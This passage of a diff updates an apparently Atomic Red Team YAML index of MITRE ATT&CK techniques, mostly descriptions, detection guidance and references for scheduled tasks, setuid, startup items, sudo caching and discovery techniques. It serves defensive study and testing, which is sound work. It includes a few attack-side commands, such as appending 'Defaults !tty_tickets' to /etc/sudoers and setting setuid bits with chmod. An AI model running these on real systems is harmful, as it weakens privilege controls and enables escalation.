system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) + + Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) + + Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. + x_mitre_platforms: + - Linux + - macOS + - Windows x_mitre_effective_permissions: - User - Administrator - SYSTEM - root - x_mitre_defense_bypassed: - - Process whitelisting - - Anti-virus x_mitre_permissions_required: - User - Administrator - SYSTEM - root - x_mitre_contributors: - - Anastasios Pingios - id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-05-31T21:30:47.843Z' identifier: T1055 atomic_tests: - name: Process Injection via mavinject.exe @@ -9228,93 +9287,85 @@ privilege-escalation: ' T1053: technique: + id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Scheduled Task description: |- - Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) + Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. - - Detection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - - Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) - - *Event ID 106 - Scheduled task registered - *Event ID 140 - Scheduled task updated - *Event ID 141 - Scheduled task removed - - Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. - - Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. - - Platforms: Windows - - Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs - - Effective Permissions: Administrator, SYSTEM, User - - Permissions Required: Administrator, SYSTEM, User - - Remote Support: Yes - - Contributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation external_references: - - url: https://attack.mitre.org/wiki/Technique/T1053 + - external_id: T1053 + url: https://attack.mitre.org/techniques/T1053 source_name: mitre-attack - external_id: T1053 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - external_id: CAPEC-557 + url: https://capec.mitre.org/data/definitions/557.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/cc785125.aspx + description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved + June 8, 2016. + source_name: TechNet Task Scheduler Security + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention + - url: https://twitter.com/leoloobeek/status/939248813465853953 + description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved + December 12, 2017. + source_name: Twitter Leoloobeek Scheduled Task + - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen + description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. source_name: TechNet Forum Scheduled Task Operational Setting - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - - description: Microsoft. (n.d.). General Task Registration. Retrieved December + - url: https://technet.microsoft.com/library/dd315590.aspx + description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. source_name: TechNet Scheduled Task Events - url: https://technet.microsoft.com/library/dd315590.aspx - - description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved - June 8, 2016. - source_name: TechNet Task Scheduler Security - url: https://technet.microsoft.com/en-us/library/cc785125.aspx - - description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved - December 12, 2017. - source_name: Twitter Leoloobeek Scheduled Task - url: https://twitter.com/leoloobeek/status/939248813465853953 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:46.977Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Leo Loobeek, @leoloobeek + - Travis Smith, Tripwire + - Alain Homewood, Insomnia Security x_mitre_data_sources: - File monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters - Windows event logs - x_mitre_effective_permissions: + x_mitre_detection: |- + Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) + + * Event ID 106 - Scheduled task registered + * Event ID 140 - Scheduled task updated + * Event ID 141 - Scheduled task removed + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + x_mitre_permissions_required: - Administrator - SYSTEM - User - x_mitre_permissions_required: - - Administrator + x_mitre_effective_permissions: - SYSTEM + - Administrator - User x_mitre_remote_support: true - x_mitre_contributors: - - Travis Smith, Tripwire - - Leo Loobeek, @leoloobeek - - Alain Homewood, Insomnia Security - id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:46.977Z' identifier: T1053 atomic_tests: - name: At.exe Scheduled task @@ -9381,47 +9432,51 @@ privilege-escalation: ' T1166: technique: + id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Setuid and Setgid description: |- - When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. - - An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. - - Detection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set. - - Platforms: Linux, macOS + When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. - Data Sources: File monitoring, Process Monitoring, Process command-line parameters - - Effective Permissions: Administrator, root - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware). external_references: - - url: https://attack.mitre.org/wiki/Technique/T1166 + - external_id: T1166 + url: https://attack.mitre.org/techniques/T1166 source_name: mitre-attack - external_id: T1166 + - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + source_name: OSX Keydnap malware + - url: http://man7.org/linux/man-pages/man2/setuid.2.html + description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. + Retrieved September 21, 2018. + source_name: setuid man page object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' + x_mitre_detection: Monitor the file system for files that have the setuid or + setgid bits set. Monitor for execution of utilities, like chmod, and their + command-line arguments to look for setuid or setguid bits being set. x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters x_mitre_effective_permissions: - Administrator - root + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - User - id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1166 atomic_tests: - name: Setuid and Setgid @@ -9450,6 +9505,8 @@ privilege-escalation: 4. ./hello T1165: technique: + id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Startup Items description: "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files @@ -9465,45 +9522,44 @@ privilege-escalation: Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as - well.\n\nDetection: The /Library/StartupItems folder can be monitored - for changes. Similarly, the programs that are actually executed from this - mechanism should be checked against a whitelist. Monitor processes that are - executed during the bootup process to check for unusual or unknown applications - and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process - Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + well." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1165 + - external_id: T1165 + url: https://attack.mitre.org/techniques/T1165 source_name: mitre-attack - external_id: T1165 - - description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. source_name: Startup Items - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring + x_mitre_detection: The /Library/StartupItems folder can be monitored + for changes. Similarly, the programs that are actually executed from this + mechanism should be checked against a whitelist. Monitor processes that are + executed during the bootup process to check for unusual or unknown applications + and behavior. x_mitre_effective_permissions: - root + x_mitre_platforms: + - macOS x_mitre_permissions_required: - Administrator - id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1165 atomic_tests: - name: Startup Items @@ -9540,6 +9596,8 @@ privilege-escalation: sudo rm /private/var/db/emondClients/T1165 T1169: technique: + id: attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Sudo description: "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which @@ -9551,37 +9609,35 @@ privilege-escalation: ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges - to edit this file though.\n\nDetection: On Linux, auditd can alert every time - a user's actual ID and effective ID are different (this is what happens when - you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective - Permissions: root\n\nPermissions Required: User" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + to edit this file though." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1169 + - external_id: T1169 + url: https://attack.mitre.org/techniques/T1169 source_name: mitre-attack - external_id: T1169 - - description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web + - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ + description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. source_name: OSX.Dok Malware - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring + x_mitre_detection: On Linux, auditd can alert every time a user's actual ID + and effective ID are different (this is what happens when you sudo). x_mitre_effective_permissions: - root + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - User - id: attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1169 atomic_tests: - name: Sudo usage @@ -9600,11 +9656,13 @@ privilege-escalation: vim /etc/sudoers T1206: technique: + id: attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Sudo Caching description: "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit - trail of the commands and their arguments\" (Citation: sudo man page 2018). + trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt @@ -9618,49 +9676,47 @@ privilege-escalation: the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the - user's password. Combined with tty_tickets being disabled, means - adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware - has disabled tty_tickets to potentially make scripting easier - by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: - cybereason osx proton). In order for this change to be reflected, the Proton - malware also must issue killall Terminal. As of macOS Sierra, - the sudoers file has tty_tickets enabled by default.\n\nDetection: - This technique is abusing normal functionality in macOS and Linux systems, - but sudo has the ability to log all input and output based on the LOG_INPUT - and LOG_OUTPUT directives in the /etc/sudoers file.\n\nPlatforms: - Linux, macOS\n\nData Sources: File monitoring, Process command-line parameters\n\nEffective - Permissions: root\n\nPermissions Required: User" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + user's password. When tty_tickets is disabled, adversaries can + do this from any tty for that user. \n\nThe OSX Proton Malware has disabled + tty_tickets to potentially make scripting easier by issuing echo + \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason + osx proton). In order for this change to be reflected, the Proton malware + also must issue killall Terminal. As of macOS Sierra, the sudoers + file has tty_tickets enabled by default." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1206 + - external_id: T1206 + url: https://attack.mitre.org/techniques/T1206 source_name: mitre-attack - external_id: T1206 - - description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. + - url: https://www.sudo.ws/ + description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. source_name: sudo man page 2018 - url: https://www.sudo.ws/ - - description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually + - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does + description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018. source_name: cybereason osx proton - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Process command-line parameters + x_mitre_detection: This technique is abusing normal functionality in macOS and + Linux systems, but sudo has the ability to log all input and output based + on the LOG_INPUT and LOG_OUTPUT directives in the + /etc/sudoers file. x_mitre_effective_permissions: - root + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - User - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern - id: attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e + kill_chain_phases: + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1206 atomic_tests: - name: Unlimited sudo cache timeout @@ -9693,60 +9749,56 @@ privilege-escalation: discovery: T1087: technique: + id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Account Discovery description: "Adversaries may attempt to get a listing of local system or domain - accounts. \n\n===Windows===\n\nExample commands that can acquire this information + accounts. \n\n### Windows\n\nExample commands that can acquire this information are net user, net group , and net - localgroup using the Net utility or through use of dsquery. + localgroup using the [Net](https://attack.mitre.org/software/S0039) + utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, - or set of users that commonly uses a system, System Owner/User Discovery may - apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups + or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) + may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups - and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through + and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and - id commands. In mac specifically, dscl . list /Groups - and dscacheutil -q group can also be used to enumerate groups - and users.\n\nDetection: System and network discovery techniques normally - occur throughout an operation as an adversary learns the environment. Data - and events should not be viewed in isolation, but as part of a chain of behavior - that could lead to other activities, such as Lateral Movement, based on the - information obtained.\n\nMonitor processes and command-line arguments for - actions that could be taken to gather system and network information. Remote - access tools with built-in features may interact directly with the Windows - API to gather information. Information may also be acquired through Windows - system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: - Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line - parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: - Travis Smith, Tripwire" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + id commands." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1087 + - external_id: T1087 + url: https://attack.mitre.org/techniques/T1087 source_name: mitre-attack - external_id: T1087 + - external_id: CAPEC-575 + url: https://capec.mitre.org/data/definitions/575.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:06.988Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Travis Smith, Tripwire x_mitre_data_sources: - API monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - x_mitre_contributors: - - Travis Smith, Tripwire - id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:06.988Z' identifier: T1087 atomic_tests: - name: Enumerate all accounts @@ -9902,86 +9954,78 @@ discovery: ' '': technique: + id: attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Peripheral Device Discovery - description: |- - Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Windows - - Permissions Required: User, Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + description: Adversaries may attempt to gather information about attached peripheral + devices and components connected to a computer system. The information may + be used to enhance their awareness of the system and network environment or + may be used for further actions. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1120 + - external_id: T1120 + url: https://attack.mitre.org/techniques/T1120 source_name: mitre-attack - external_id: T1120 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:28.471Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - Administrator - SYSTEM - id: attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:28.471Z' atomic_tests: [] T1217: technique: + id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Browser Bookmark Discovery description: |- Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. - Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser. + Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases. - - Detection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell. - - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. - - Platforms: Linux, Windows, macOS - - Data Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring - - Permissions Required: User - - Contributors: Mike Kemmerer - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery external_references: - - url: https://attack.mitre.org/wiki/Technique/T1217 + - external_id: T1217 + url: https://attack.mitre.org/techniques/T1217 source_name: mitre-attack - external_id: T1217 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' + x_mitre_contributors: + - Mike Kemmerer x_mitre_data_sources: - API monitoring - File monitoring - Process command-line parameters - - Process Monitoring + - Process monitoring + x_mitre_detection: |- + Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and 